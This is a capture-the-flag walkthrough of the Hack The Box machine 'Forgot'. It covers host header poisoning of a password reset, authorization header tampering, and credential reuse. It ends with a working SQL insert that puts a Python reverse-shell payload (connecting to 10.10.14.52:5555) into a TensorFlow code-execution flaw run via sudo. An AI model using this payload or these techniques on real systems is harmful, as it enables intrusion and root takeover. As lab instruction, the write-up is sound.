Home (HTB) - Forgot
Post
Cancel
image alternative text

(HTB) - Forgot

Forgot is an intermediate box which start with few basic web application misconfigurations. Box runs vulnerable tensorflow python package in a script which is run as sudo/root

Enumeration

NMAP

1
2
3
4
5
6
7
8
9
10
11
Nmap scan report for 10.129.249.130
Host is up (0.042s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open  http
|_http-title: Login

Website

Finding username in the source code

If we check th source then we’d find a user robert-dev-14320.

picture 14

We cannot guess the password or brute-force it as caching and responses make the wait completely unbearable, but there is forgot password present so let’s check that.

Initial Foothold - digging deeper

Host Header Poisoning on forgot password

It appears that we can poison host header which makes the webserver to issue an request (HTTP!) to our own server

picture 15

We can set a new password for robert-dev-14320 and access the Support Portal. Be patient and make sure you URL encode your token!

picture 16

Getting onto Admin Panel

We can find admin’s dashboards if we check the site map.

picture 18

If we however try to access it with robert-dev-14320 we’d be redirected to denied page.

picture 17

Good thing is that we can tamper the authorization header without having the right password as apparently only user will be checked.

picture 19

Finding Diego’s credentials

If we check the response in Burp of the request above to admin_tickets we’d find diego’s password.

picture 20

Credentials work with SSH diego:dCb#1!x0%gjq.

picture 21

Privilege Escalation

We can run script as sudo

1
2
3
4
5
6
7
diego@forgot:~$ sudo -l
Matching Defaults entries for diego on forgot:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User diego may run the following commands on forgot:
    (ALL) NOPASSWD: /opt/security/ml_security.py

Tensorflow Vulnerability

If we check the /opt/security/ml_security.py we’ll find the tensorflow import.

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python3
import sys
import csv
...
from urllib.parse import unquote
from sklearn import model_selection
from nltk.tokenize import word_tokenize
from sklearn.linear_model import LogisticRegression
from gensim.models.doc2vec import Doc2Vec, TaggedDocument
from tensorflow.python.tools.saved_model_cli import preprocess_input_exprs_arg_string
...

We can check tensorflow’s version:

1
2
diego@forgot:~$ pip3 show tensorflow | grep Version
Version: 2.6.3

This version of Tensorflows is vulnerable to Remote Code Execution. References:

  • https://security.snyk.io/vuln/SNYK-PYTHON-TENSORFLOW-2841408
  • https://github.com/advisories/GHSA-75c9-jrh4-79mc

picture 22

Script /opt/security/ml_security.py loads input from escalate table.

picture 24

reason column in escalate table (app database) resides on 4th position.

1
2
3
4
5
6
7
8
9
10
diego@forgot:~$ mysql -u diego -p'dCb#1!x0%gjq' -D app -e "show columns from escalate;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+--------+------+------+-----+---------+-------+
| Field  | Type | Null | Key | Default | Extra |
+--------+------+------+-----+---------+-------+
| user   | text | YES  |     | NULL    |       |
| issue  | text | YES  |     | NULL    |       |
| link   | text | YES  |     | NULL    |       |
| reason | text | YES  |     | NULL    |       |
+--------+------+------+-----+---------+-------+

The vulnerability is pretty trivial to exploit if we check the PoC: https://github.com/advisories/GHSA-75c9-jrh4-79mc

We just have to keep in mind that we need to inject our payload into reason column:

1
insert into escalate values ("user","issue","link",'hello=exec("""\nimport socket\nimport subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.10.14.52",5555))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")');

Run sudo /opt/security/ml_security.py and shell should pop as root. (For the payload above, listener has to be started beforehand on the attackers machine!)

picture 23

This post is licensed under CC BY 4.0 by the author.